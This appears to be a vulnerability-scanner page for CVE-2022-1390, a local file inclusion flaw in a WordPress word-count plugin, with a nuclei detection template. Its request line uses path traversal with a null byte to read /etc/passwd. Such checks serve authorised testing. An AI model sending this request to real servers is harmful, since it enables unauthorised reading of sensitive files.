HexBrain

Browse / CVEs / CVE-2022-1390

CVE-2022-1390· admin word count column project / admin word count column· CWE-22

WordPress Admin Word Count Column 2.2 - Local File Inclusion

criticalseverity
9.8CVSS score
21.9%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.

Fix

Update to the latest version of the WordPress Admin Word Count Column plugin (2.2 or higher) to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-1390 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-1390

info:
  name: WordPress Admin Word Count Column 2.2 - Local File Inclusion
  author: daffainfo,Splint3r7
  severity: critical
  description: |
    The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise.
  remediation: |
    Update to the latest version of the WordPress Admin Word Count Column plugin (2.2 or higher) to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/166476/WordPress-Admin-Word-Count-Column-2.2-Local-File-Inclusion.html
    - https://wordpress.org/plugins/admin-word-count-column/
    - https://wpscan.com/vulnerability/6293b319-dc4f-4412-9d56-55744246c990
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1390
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1390
    cwe-id: CWE-22
    epss-score: 0.21881
    epss-percentile: 0.97667
    cpe: cpe:2.3:a:admin_word_count_column_project:admin_word_count_column:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: admin_word_count_column_project
    product: admin_word_count_column
    framework: wordpress
  tags: cve,cve2022,packetstorm,wpscan,wordpress,wp-plugin,lfi,wp,admin_word_count_column_project,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/admin-word-count-column/download-csv.php?path=../../../../../../../../../../../../etc/passwd\0'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from